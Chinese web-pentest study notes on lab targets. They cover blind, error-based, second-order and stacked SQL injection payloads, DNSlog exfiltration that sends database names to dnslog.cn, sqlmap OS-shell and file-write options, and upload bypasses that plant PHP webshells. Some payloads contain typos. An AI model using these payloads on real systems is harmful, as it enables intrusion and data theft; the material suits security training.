#PHP-MYSQL-注入条件-数据回显&错误处理
PHP开发项目-输出结果&开启报错
基于延时:都不需要
and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
and length(database())=6
基于报错:有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3and length(database())=6(无回显无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT
version()),0x7e)1)


PHP-MYSQL-CMS 案例-插入报错&删除延迟
1、xhcms-insert报错
' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) and '

2、kkcms-delete延时
and if(1=l,sleep(5)0)
or if(1=1,sleep(5)0)
or if(ord(left(database(),1))=107,sleep(2)0)

PHP-MYSQL-SQL 操作-增删改查

1、功能:数据查询
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等
增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等
删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等
修改:UPDATE news SET id=$id

PHP-MYSQL-注入函数-布尔&报错&延迟

1、基于布尔的 SQL 盲注-逻辑判断

regexp,like,ascii,left,ord,mid 

就是一位一位的去猜,长度->名字

数据库名长度

先判断注入类型,发现是字符型然后开始判断长度,用length()函数

image-20250921111045061

image-20250921111100905

image-20250921111114871

image-20250921111124214

http://sql:2222/Less-8/?id=1' and length(database())=8 --+

用二分法找,确定数据库名字长度是8个字符

数据库名

知道数据库名字的长度后开始一位一位的去爆数据库名字

image-20250921201748251

image-20250921201807603

image-20250921201822818

http://sql:2222/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

ascii的115对应的是s

以此类推,第二个数据库的字母

http://sql:2222/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+

image-20250921201924399

第二个字母就是e

以此类推,得到数据库名security

表数量

http://sql:2222/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

这里为什么不写security而是database():两种写法都能用;但在构造通用、稳健的盲注负载时,table_schema = database() 更保险,也更少踩坑

image-20250921204323844

第一张表名长度

http://sql:2222/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+

这里limit作用的对象是table_name,也就是第一个表名

image-20250921204929304

第一个表名长度是6

第一张表的名

http://sql:2222/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

substr(strings,1,1)

这个函数的作用就是从一个字符串中截取指定的部分,1表示从第一个字符开始,第二个1表示只截取一个字符,如果是substr(strings,2,4),表示从第二个字符开始截取四个字符

image-20250921205758503

以此类推得到第一个表名为email

后面的表名

以此类推得到后面的表名,第四张的表名为users,发现敏感表名就在这个表开始爆字段名

字段数量

http://sql:2222/Less-8/?id=1' and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3--+

image-20250921210302635

第一个字段名长度

http://sql:2222/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+

image-20250921211057646

可知第一个字段名长度为2

第一个字段名

http://sql:2222/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105--+

image-20250921211125141

第一个字母为i,以此类推得到名为id

后面的字段名

以此类推得到后面的字段名分别为:username、password

获取表中数据的数量

http://sql:2222/Less-8/?id=1' and  (select count(*) from users)=13 --+

image-20250921211308595

users表中的数据一共13条

获取数据的长度

http://sql:2222/Less-8/?id=1' and  length((select username from users limit 0,1))=4 --+

image-20250921211420925

第一个username的数据长度为4

获取数据

http://sql:2222/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

image-20250921211504925

username的第一个数据的第一个字母是D,以此类推得到username的第一个数据是Dumb

后续的password也是一样的道理

2、基于时间的 SQL 盲注-延时判断

if,sleep 

依旧先测试闭合,发现是单引号,用if函数来做判断,sleep函数来做延迟

?id=1' and if(1=1,sleep(2),1)--+

image-20250921211930597

有明显的延迟加载

if(Judgment,sleep(time),1)

if函数,第一个参数是条件判断,如果为真就执行sleep(),为假就执行1,sleep(time),表示延迟多久,time是具体时间

数据库长度

http://sql:2222/Less-9/?id=1' and if(length((select database()))=8,sleep(5),1)--+

8

数据库名

http://sql:2222/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(2),1)--+

security

表数量

http://sql:2222/Less-9/?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(2),1)--+

4个

第一个表名长度

http://sql:2222/Less-9/?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(2),1)--+

第一个表名

http://sql:2222/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(2),1)--+

后面表名

一样的

字段数量

http://sql:2222/Less-9/?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3,sleep(2),1)--+

第一个字段长度

http://sql:2222/Less-9/?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2,sleep(2),1)--+

第一个字段名

http://sql:2222/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105,sleep(2),1)--+

获取表中数据的数量

http://sql:2222/Less-9/?id=1' and if((select count(*) from users)=13,sleep(2),1)--+

获取数据的长度

http://sql:2222/Less-9/?id=1' and if(length((select username from users limit 0,1))=4,sleep(2),1)--+

获取数据

http://sql:2222/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+

其实就是判断加到了if函数里面,然后通过skeep的表现来判断是否正

3、基于报错的 SQL 盲注-报错回显

floor,updatexml,ex

报错注入的本质是故意制造一个SQL语句的执行错误,让数据库将错误信息(其中包含我们查询的结果)显示在页面回显中。这与布尔盲注(通过真/假反应判断)和时间盲注(通过延迟判断)不同,它能直接通过错误信息“回显”数据,效率通常更高

数据库名

http://sql:2222/Less-5/?id=1' and updatexml(1, concat(0x7e, (database()), 0x7e), 1) --+

concat(0x7e, (database()), 0x7e):将多个字符串连接成一个字符串

  • 0x7e: 这是波浪号 ~ 的十六进制表示。
  • (database()): 我们想要获取的目标数据。
  • 0x7e: 另一个 ~

UPDATEXML(XML_document, XPath_string, new_value):用于更新XML文档内容

  • XML_document: 一个XML文档片段。这里我们随便填了一个 1,它不是一个有效的XML,但这没关系,因为我们在第二个参数就会触发错误,函数根本不会执行到检查第一个参数那一步。
  • XPath_string: 一个XPath格式的路径,告诉函数要更新XML的哪个部分。这是关键参数!
  • new_value: 要更新的新值。这里我们也随便填了 1

updatexml() 函数要求第二个参数 XPath_string 必须是一个符合XPath语法的字符串。
而我们通过 concat() 函数传给它的值是 ~security~波浪号 ~ 在XPath语法中是非法字符
因此,MySQL在执行这个函数时,会立即发现XPath格式错误,并停止执行。

表名

?id=1' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1), 0x7e), 1) --+

后续操作

也就是数据库->表->字段->数据这样来查询了,就是把查询的语句写进concat的第二个参数

updatexml()

?id=1' and updatexml(1, concat(0x7e, (你想要执行的子查询), 0x7e), 1) --+

extractvalue()

?id=1' and extractvalue(1, concat(0x7e, (你想要执行的子查询), 0x7e)) --+

EXTRACTVALUE(xml_fragment, xpath_string)

    1. xml_fragment: 一个格式良好的XML文档片段(字符串)。
    2. xpath_string: 一个XPath路径表达式,用于指定要提取值的XML节点。
  • 返回值:返回第一个匹配 xpath_string 的节点的文本内容(text)。

floor() + rand() + group by

?id=1' and (select 1 from (select count(*), concat((你想要执行的子查询), floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+
函数
  • floor(): 向下取整函数。floor(3.7) 结果是 3
  • rand(): 生成一个0到1之间的随机浮点数。
  • rand(0)*2: 使用种子 0 生成随机数,然后乘以2,得到一个0到2之间的数。
  • floor(rand(0)*2): 对上面的结果向下取整,结果不是0就是1
  • concat() 函数将我们的查询结果和这个0或1的数字拼接成一个新的字符串。
    • 例如:concat('security', 0) -> 'security0'
    • 例如:concat('security', 1) -> 'security1'
select count(*), ... as x from ... group by x
  • from information_schema.tablesinformation_schema.tables 是一个系统表,它存储了数据库中所有表的信息。这个表通常有很多行(记录),这很重要。
  • ... as x: 我们将 concat(...) 的结果命名为 x
  • group by x: 这是一个分组操作。它告诉MySQL:“请按照 x 列的值对所有行进行分组”。
  • select count(*): 同时,计算每个分组中有多少行。

过程:

  1. 开始扫描 information_schema.tables 表。

  2. 第一行数据,计算 group by 的键值 x

    • 计算 concat((select database()), floor(rand(0)*2))
    • 假设 database()'security'floor(rand(0)*2) 第一次计算结果是 0
    • 所以键值 x = 'security0'
    • MySQL在临时表中检查:存在 'security0' 这个键吗?不存在
    • 于是,MySQL在临时表中插入一个新键 'security0',并将计数器 count(*) 设为 1
    • 注意:在插入之前,rand(0) 被第二次计算了!(可能是为了计算插入操作本身的一些内部校验)。这第二次计算的结果是 1
  3. 第二行数据,再次计算键值 x

    • 计算 concat((select database()), floor(rand(0)*2))
    • floor(rand(0)*2) 现在是第三次计算,结果是 1
    • 所以键值 x = 'security1'
    • MySQL在临时表中检查:存在 'security1' 这个键吗?不存在
    • 于是,MySQL又试图插入一个新键 'security1'
    • 在插入之前,rand(0) 被第四次计算了,结果又是 0
  4. 第三行数据,计算键值 x

    • floor(rand(0)*2)第五次计算,结果是 1
    • 键值 x = 'security1'
    • MySQL在临时表中检查:存在 'security1' 这个键吗? 是的,我们在第二步已经插入了它(虽然插入时值变成了 security0',但键名是 'security1')。
    • 对于已存在的键,MySQL不会插入,而是会更新该组的计数器(count(*) 加一)。
  5. 第四行数据,计算键值 x

    • floor(rand(0)*2)第六次计算,结果是 0
    • 键值 x = 'security0'
    • MySQL在临时表中检查:存在 'security0' 这个键吗? 是的,我们在第一步就插入了它。
    • 它尝试更新这个组的计数器。

    就在这里,错误发生了!

    为什么?因为MySQL在第一次遇到 'security0' 时(第一步),它执行了插入操作。但在插入前重新计算 rand() 得到 1,所以它实际尝试插入的键是 'security1',但逻辑上它认为自己在处理 'security0'

    这个内部状态的不一致导致数据库在尝试处理后续相同的键时,会在临时表中找不到它认为应该存在的条目,或者发生键冲突,最终抛出一个错误。

and (select 1 from ( ... ) as y)
  • ( ... ) as y: 将整个复杂的报错查询包装成一个子查询,并赋予别名 y
  • select 1 from y: 从子查询 y 的结果中选取数字1。这里的 1 可以是任何值,它并不重要。
  • and: 与原查询拼接。因为子查询执行错误,整个 and 条件失败,从而触发错误回显。

PHP-MYSQL-注入条件-数据回显&错误处理

PHP开发项目-输出结果&开启报错
基于延时:都不需要
and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
and length(database())=6
基于报错:有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3and length(database())=6(无回显无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT
version()),0x7e)1)

增删查改都可能产生注入

PHP-MYSQL-CMS 案例-插入报错&删除延迟

熊海

小迪用的版本在新闻留言界面是有盲注的,可以报错和延时

现在找的版本似乎没有这个了

kkcms

有delet删除操作

image-20250923140730418

image-20250923140733814

两个地方都有,admin目录下的,需要先登陆后台访问前端页面

image-20250923141040228

访问/admin登录后台,默认账号密码是admin/123456

image-20250923141120477

访问cms_usergroup.php

image-20250923141214609

发现修改和删除框

源码是:

$sql = 'delete from xtcms_user_group where ug_id = ' . $_GET['del'] . '';

当传入参数del就能执行删除操作,复制删除链接也是能知道的

http://kkcms:3484/admin/cms_usergroup.php?del=1

表示删除第一个会员

http://kkcms:3484/admin/cms_usergroup.php?del=4 or if(1=1,sleep(4),sleep(0))

有延时,可以注入


第45天:WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件

#PHP-MYSQL-二次注入-DEMO&74CMS 
1、DEMO-用户注册登录修改密码 
2、CMS-74CMS 个人中心简历功能 
黑盒思路:分析功能有添加后对数据操作的地方(功能点) 
白盒思路:insert 后进入 select 或 update 的功能的代码块 
注入条件:插入时有转义函数或配置,后续有利用插入的数据 
 
#PHP-MYSQL-堆叠注入-DEMO&CTF 强网 
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条 sql 语句, 
例如 php 中的 mysqli_multi_query 函数。与之相对应的 mysqli_query()只能执行一条 SQL,所以要想目标存在堆叠注入,在目标主机存在类似于
mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行. 
 
1、目标存在 sql 注入漏洞 
2、目标未对";"号进行过滤 
3、目标中间层查询数据库信息时可同时执行多条 sql 语句 
支持堆叠数据库:MYSQL MSSQL Postgresql 等 
 
-2019 强网杯-随便注(CTF 题型) 
';show databases; 
';show tables; 
';show columns from `1919810931114514`; 
';select flag from `1919810931114514`; 
';SeT 
@a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 
1、目标存在 sql 注入漏洞 
2、目标未对";"号进行过滤 
3、目标中间层查询数据库信息时可同时执行多条 sql 语句 
 
#PHP-MYSQL-带外注入-DEMO&DNSLOG 
0.注入条件 
ROOT 高权限且支持 load_file() 
有部分注入点是没有回显的,所有读取也是没回显的,采用带外 
1.使用平台 
http://ceye.io
http://www.dnslog.cn
2.带外应用场景: 
解决不回显,反向连接,SQL注入,命令执行,SSRF等
SQL注入:
select load file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));and(select load file(concat('//',(select database()),'.69kn19.dnslog.cn/abc')))

image-20250923152714022

PHP-MYSQL-二次注入-DEMO&74CMS

详细解释:什么是二次注入?

二次注入可以理解为一种“潜伏”和“引爆”两步走的SQL注入攻击。

  • 第一步:潜伏(存入恶意代码)
    攻击者将恶意的SQL代码片段(例如 xiaodi')通过一个合法的、前端允许的输入(比如注册用户名、留言、订单地址等)提交到应用程序中。
    • 关键点:在这个步骤,恶意代码只是被存入了数据库,并没有立即执行。因此,常规的Web应用防火墙(WAF)或简单的输入过滤可能无法发现它,因为它看起来只是一个普通的字符串。
  • 第二步:引爆(触发恶意代码)
    之后,当应用程序在另一个功能中从数据库里取出这个恶意数据,并将其作为SQL查询的一部分时,注入就发生了。
    • 常见场景:用户登录后修改密码、客服查看用户信息、用户发表评论等。这些功能会信任地从数据库读取数据(比如用户名)并拼接到SQL语句中。

示例

数据库:

image-20250923165132780

注册用户:

用户:admin' AND updatexml(1,concat(0x7e,database()),1)#
密码:123456

image-20250923170430626

数据库里面有了

登录就是之前注册的账号密码,之后再修改密码

image-20250923170526870

报错注入成功

条件

其实感觉这个条件还挺多的

1. 转义字符失效

  • 注册用户名: admin' AND updatexml(1,concat(0x7e,(SELECT database())),1)#
  • 数据库存储: 转义后存入 admin\' AND updatexml...,但存储的是字面值 '
  • 触发查询:
SELECT * FROM users WHERE username = 'admin' AND updatexml(1,concat(0x7e,(SELECT database())),1)#'

结果: 单引号闭合前段,AND后的报错注入执行。

2. 多参数注释截断

  • 注册用户名: admin' AND updatexml(1,concat(0x7e,(SELECT version())),1)#
  • 触发INSERT/UPDATE:
INSERT INTO users (username, password) VALUES ('admin' AND updatexml(1,concat(0x7e,(SELECT version())),1)#', 'any_password')

结果: #注释掉第二个参数和右括号,语法错误导致报错信息泄露。

3.长度限制

如果是前端就没问题,直接改就行,要是是后端的话那就没办法了

PHP-MYSQL-堆叠注入-DEMO&CTF 强网

解释

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条 sql 语句
例如 php 中的 mysqli_multi_query 函数。与之相对应的 mysqli_query()只能执行一条 SQL,所以要想目标存在堆叠注入,在目标主机存在类似于
mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

例题

1';show database();

image-20250923181753342

1';show tables;

image-20250923181846032

发现一个表,查看

1';select * from 1919810931114514;

image-20250923181940760

被过滤了,不能用select等关键字,查看字段名

1';show columns from `1919810931114514`; 

image-20250923182021204

有flag

';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql; 

其中73656c65637420666c61672066726f6d20603139313938313039333131313435313460就是select flag from 1919810931114514

SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;:定义一个用户变量 @a为查询语句的十六进制

prepare execsql from @a:创建一个名为execsql的预处理语句,其内容来自变量@a的值

execute execsql;:执行刚才准备的预处理语句execsql

image-20250923182419286

PHP-MYSQL-带外注入-DEMO&DNSLOG

1. 带外注入是个啥?

简单来说,带外注入 是一种攻击技术,当攻击者无法在同一个“通道”(比如浏览器页面)内直接看到攻击结果(即“无回显”或“盲注”)时,通过建立一个“额外”的通道(比如DNS查询、HTTP请求)来获取数据。

可以把传统的SQL注入想象成:

  • 你问问题,页面直接回答。 (有回显注入)
  • 你问问题,页面只回答“对”或“错”。 (布尔盲注)
  • 你问问题,页面根据答案延迟几秒再回应。 (时间盲注)

带外注入则是:

  • 你问问题,并告诉数据库:“请把答案写在纸条上(DNS或HTTP请求),派人送到我家(攻击者控制的服务器)。” 这样,你就不需要从原来的页面获取答案了。

2. SQL带外注入?

SQL带外注入是带外注入的一种,特指在数据库操作中利用这种技术。它的核心是利用数据库本身的功能,让它主动向外部的服务器发起网络请求,并将查询结果作为请求的一部分发送出去。

要实现这个,数据库需要支持某些能发起网络请求的函数,比如:

  • MySQL: LOAD_FILE(), ... INTO OUTFILE(但需要苛刻的权限)
  • SQL Server: xp_dirtree, xp_fileexist(常用且有效)
  • Oracle: UTL_HTTP, UTL_INADDR.GET_HOST_ADDRESS
  • PostgreSQL: COPY ... FROM PROGRAMdblink 扩展

3. 为什么DNSlog会有回显?

这是最关键也最巧妙的部分。我们以 dnslog.cn 这类网站为例:

  1. 原理dnslog.cn 为你生成一个唯一的子域名,比如 abc123.dnslog.cn。它会监控所有对这个域名及其子域的DNS查询请求。
  2. 攻击流程
    • 你输入 payload:你构造一个SQL语句,让数据库去查询一个“包含我们想窃取数据”的域名。
    • 例如:你想窃取数据库版本 @@version,假设是 5.7.40
    • Payload 示例SELECT LOAD_FILE(CONCAT('\\\\', @@version, '.abc123.dnslog.cn\\aaa'))
      • 这个语句最终会拼接成一个完整的UNC路径(Windows网络路径):\\5.7.40.abc123.dnslog.net\aaa
      • 当数据库(尤其是Windows上的数据库)尝试使用 LOAD_FILE() 去访问这个“网络文件”时,它首先需要解析这个“主机名”:5.7.40.abc123.dnslog.cn
      • 为了解析主机名,数据库服务器会向DNS服务器发起一次DNS查询:“请问 5.7.40.abc123.dnslog.cn 的IP地址是多少?”
  3. 回显出现
    • 这次DNS查询请求会经过互联网的DNS系统,最终到达 dnslog.cn 的权威DNS服务器。
    • dnslog.cn 的服务器会记录下这次查询的完整域名,即 5.7.40.abc123.dnslog.cn
    • 你在 dnslog.cn 的网页上刷新,就能看到这条记录。这样,数据库版本 5.7.40 就通过DNS查询“带外”地传到了你手中。

所以,回显不是数据库直接给你的,而是数据库的“寻址行为”被第三方网站(dnslog)记录了下来,你再从第三方网站看到记录。

测试

http://demo01:6767/ExSql/index.php?id=1 and (select load_file(concat('\\\\','test123','.9wcuoq.dnslog.cn\\aaa')))

image-20250924102450568

image-20250924102440025

http://demo01:6767/exsql/index.php?id=1 and (select load_file(concat('\\\\',database(),'.9wcuoq.dnslog.cn\\aaa')))

image-20250924102526321

显示了数据库名,后面的表名字段名数据都差不多了


第46天:WEB攻防-注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构

#参考: 
https://www.cnblogs.com/bmjoker/p/9326258.html 
 
 
#数据猜解-库表列数据&字典 
测试:http://vulnweb.com/ 
--current-db 
--tables -D "" 
--columns -T "" -D "" 
--dump -C "" -C "" -T "" 
 
 
#权限操作-文件&命令&交互式 
测试:MYSQL 高权限注入 
引出权限: 
--is-dba --privileges 
引出文件: 
--file-read --file-write --file-dest 
引出命令: 
--os-cmd= --os-shell --sql-shell 
 
 
#提交方法-POST&HEAD&JSON 
测试:Post Cookie Json 
--data "" 
--cookie "" 
-r 1.txt 
 
 
#绕过模块-Tamper 脚本-使用&开发 
测试:base64 注入 有过滤的注入 
--tamper=base64encode.py 
--tamper=test.py 
from lib.core.enums import PRIORITY 
 
__priority__ = PRIORITY.LOW 
 
def dependencies(): 
 pass 
 
def tamper(payload, **kwargs): 
 if payload: 
 payload = payload.replace('SELECT','sElEct')  
 payload = payload.replace('OR','Or') 
 payload = payload.replace('AND','And') 
 payload = payload.replace('SLEEP','SleeP') 
 return payload
 
 
 #分析拓展-代理&调试&指纹&风险&等级
1、后期分析调试:
-v=(0-6)	#详细的等(0-6)
--proxy"http://xx:xx"	#代理注入

2、打乱默认指纹:
user-agent	#自定义user-agent	#随机
--random-ageht #随机user-agent
--time-sec=(2,5)	#延迟响应,默认为5

3、使用更多的测试:测试Header注入
--level=(1-5)	#要执行的测试水平等级,默认为1
--risk=(0-3)	#测试执行的风险等级,默认为1

image-20250924102636964

数据猜解-库表列数据&字典

初步测试

python sqlmap.py -u "目标url " --batch

--batch是自动

所有数据库

python sqlmap.py -u "目标url " --batch --dbs 

python sqlmap.py -u "目标url " --batch -D '指定数据库名' --tables

字段

python sqlmap.py -u "目标url " --batch -D '指定数据库名' -T '指定表名' --columns

数据

python sqlmap.py -u "目标url " --batch -D '指定数据库名' -T '指定表名' -C '字段名' --dump

有时候用指定名字的时候不能加单引号会报错,直接写就行

字典目录

image-20250924112153518

遇到access这样的数据库就是用的字典,后续要添加就来这边添加字典

注意access数据库和mysql的区别,access直接开始就是表名,mysq先看数据库名

权限操作-文件&命令&交互式

引出权限: 
--is-dba --privileges 
引出文件: 
--file-read --file-write --file-dest 
引出命令: 
--os-cmd= --os-shell --sql-shell 

权限

python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --is-dba

image-20250924202217192

说明权限很高

python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --privileges

image-20250924202303238

文件

python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch  --file-read 

image-20250924203115703

image-20250924203433273

python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --file-write "" --file-dest ""

image-20250924203551243

命令

python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --os-cmd

image-20250924203705836

系统交互

python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch  --os-shell

image-20250924202826350

数据库交互

python sqlmap.py -u "http://demo01:6767/news.php?id=1" --batch --sql-shell 

image-20250924202654902

#提交方法-POST&HEAD&JSON

--data "" 
--cookie "" 
-r 1.txt 
python sqlmap.py -u "http://demo01:6767/admin/admin_c.php" --data "username=asada&password=231333" --dbs

image-20250924205443145

后面的就和get注入一样了

cookie

请求保存到本地txt文件

image-20250924205818301

参数很多,如果直接注入的话会花很多时间,可以在想要注入的后面加上*号,比如要在username和password注入:

image-20250924205957631

其他参数也是一样

python sqlmap.py -r .\head.txt

image-20250924210747121

-u-r的区别

有个网站只能手机访问 有个注入点

如果不是通过抓包得到的请求的注入点数据包去注入的话

sqlmap就才采用自己的访问头去访问注入(可能访问不到,访问不到还怎么注入)

也就是说-u是用的sqlmap写好的去访问,而-r用的是我们自己的

如果是json的话可以用-r去注入,加上*号

绕过模块-Tamper 脚本-使用&开发

url经过了base64加密,在用sqlmap进行注入的时候也需要加密

python sqlmap.py -u "" --tamper=base64encode.py

常用脚本:

image-20250924213722673

绕过

如果一些关键字不能使用而且是base64加密的,那么我们可以去sqlmap对应的py脚本里面进行修改,比如base64初始是

image-20250924214518973

可以进行大小写绕过

image-20250924214537873

这个绕过难的不是修改代码而是要知道怎么绕过

分析拓展-代理&调试&指纹&风险&等级

1、后期分析调试:

-v=(0-6)	#详细的等(0-6)
--proxy"http://xx:xx"	#代理注入

2、打乱默认指纹:

user-agent	#自定义user-agent	#随机	#sqlmap的特征

image-20250927162843229

--random-ageht #随机user-agent
--time-sec=(2,5)	#延迟响应,默认为5

3、使用更多的测试:测试Header注入

--level=(1-5)	#要执行的测试水平等级,默认为1
--risk=(0-3)	#测试执行的风险等级,默认为1

相当于越高测试的就越精确


第47天:WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过

#学习前必读: 
1、课前一定要明白: 
无文件解析安全问题上,格式解析是一对一的(不能 jpg 解析 php) 
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析 
 
2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战! 
 
 
#测试环境安装参考: 
https://github.com/ffffffff0x/f8x 
https://github.com/fuzzdb-project/fuzzdb 
https://github.com/sqlsec/upload-labs-docker 
0、下载上述资源 
1、docker 安装 
f8x -d 或 f8x -docker 
2、进入项目文件夹 
cd upload-labs-docker 
3、一键部署运行 
docker-compose up -d 
 
#upload-labs-docker 知识点: 
1、前端 JS 
如何判断是否是前端验证呢? 
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了 
 
2、.htaccess 
AddType application/x-httpd-php .png 
 
3、MIME 类型 
Content-Type:image/png 
 
4、文件头判断 
GIF89a 
 
5、黑名单-过滤不严 

image-20250927165958321

文件上传靶场

sqlsec/upload-labs-docker: 国光的文件上传靶场,基于 upload-labs 定制

关卡:

image-20250927210550216

PHP-原生态-文件上传-前后端验证

前端 JS

JS:

  • 查看源代码是否有JS代码
  • 抓包,如果没有抓到就显示上传成功或者失败的话那么就是JS前端验证,因为这个包都没有发出去,只在浏览器验证了

第一关

image-20250928105204377

查看源代码:

image-20250928105219838

可以看到JS代码,如果上传的文件后缀不在这些白名单里面的话那么就不发送,直接在前端验证不通过

对与这个就有两种方法来绕过,一个是禁用前端js代码

image-20250928110641746

在这之后不管上传什么类型的文件都能够上传成功了

还有一个就是后端绕过

先准备一句话木马

image-20250928105250860

后缀改成图片类型,这样就可以上传了,上传抓包

image-20250928105357493

修改后缀为php发送

image-20250928105427325

复制图片路径

image-20250928105449206

webshell工具连接

image-20250928105559838

image-20250928105616591

.htaccess

第二关

image-20250928113938834

htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页301重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

上传图片文件(内容依旧是一句话木马)

之后再上传,这次抓包,修改成:

image-20250928112107458

AddType application/x-httpd-php .png
  • AddType:告诉 Apache 添加新的 MIME 类型映射
  • application/x-httpd-php:PHP 解析器的 MIME 类型
  • .png:文件扩展名

效果:所有 .png 文件都会被当作 PHP 脚本来解析执行

发包,成功上传

image-20250928112152881

webshell连接,地址是图片地址

image-20250928112234249

image-20250928112249870

PHP-原生态-文件上传-类型文件头验证

MIME 类型

第三关

image-20250928113959468

这次的话上传php文件,抓包

image-20250928115139860

文件类型改成png类型的

image/png

image-20250928115201504

发送,php文件上传成功

文件头判断

第四关

image-20250928115248254

不同类型的文件十六进制的文件头是不一样的,通过这个方式可以进行绕过,比如php文件,在文件的开始加上合法文件的文件头字符

GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A
JPG:FF D8 FF E0 00 10 4A 46 49 46

png:

image-20250928120638923

image-20250928120650881

保存,上传抓包修改文件类型

image-20250928120717492

发包,上传成功

image-20250928120742378

PHP-原生态-文件上传-后缀黑白名单验证

黑名单-过滤不严

第五关

image-20250928130511658

黑名单:

image-20250928130611051

如果上传了php文件的话会显示:

image-20250928130644718

后缀被去掉了,但是源代码没有做递归处理,所以文件名可以改成:1.pphphp

这样上传就是php文件了

解释

$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", ...);

// 这里有问题!
$name = str_ireplace($blacklist, "", $name);

if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
    $is_upload = true;
}
文件名:1.pphphp

查找点后的黑名单字符串,找到了php,删除后前面的p和后面的hp结合在一起刚好是php

第六关

image-20250928132206995

绕过就是大小写,后缀改成phP这种,在windows系统大小写不敏感,linux不行

第七关

这里我下载的源码wp的话没有这关的解法,我的网站也打不开这关,没有实操了记录了小迪的讲解

先上传图片类型文件,然后抓包可以看到文件上传时候的路径

image-20250928140911831

发包可以看到上传文件的路径

image-20250928140934918

在后面添加上文件名加截断符

image-20250928141048617

也就是说上传的文件名变成了a.php,而%00的作用是截断,所以后面上传自动加上去的文件名也就是

image-20250928141141060

就没有了,之后放包就上传成功了

第八关

这个我网站也打不开,解题过程和上一个差不多

image-20250928141554699

但是这里的截断符%00需要设置解码,上一关中因为是在url里面所以会自动解码

选中部分->右键Convert selection->URL->URL-decode

之后发包就行了

第九关

image-20250928142255775

依旧黑名单,php不能上传,在fuzzdb里面有个替换的文件,里面这些都是可解析成php的文件格式

image-20250928142350863

上传php抓包

image-20250928142821900

发送到Intruder,clear,选中后缀php,add,进入payloads

image-20250928143032337

load选中之前的文件,开始爆破

小迪这里是可以的,我自己尝试后发现改大小写还是字典爆破都不行

第十关

image-20250928144725010

源代码关键部分:

image-20250928145131301

if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
    if(in_array($ext,$whitelist)){
        // 合法文件 → 重命名并保留
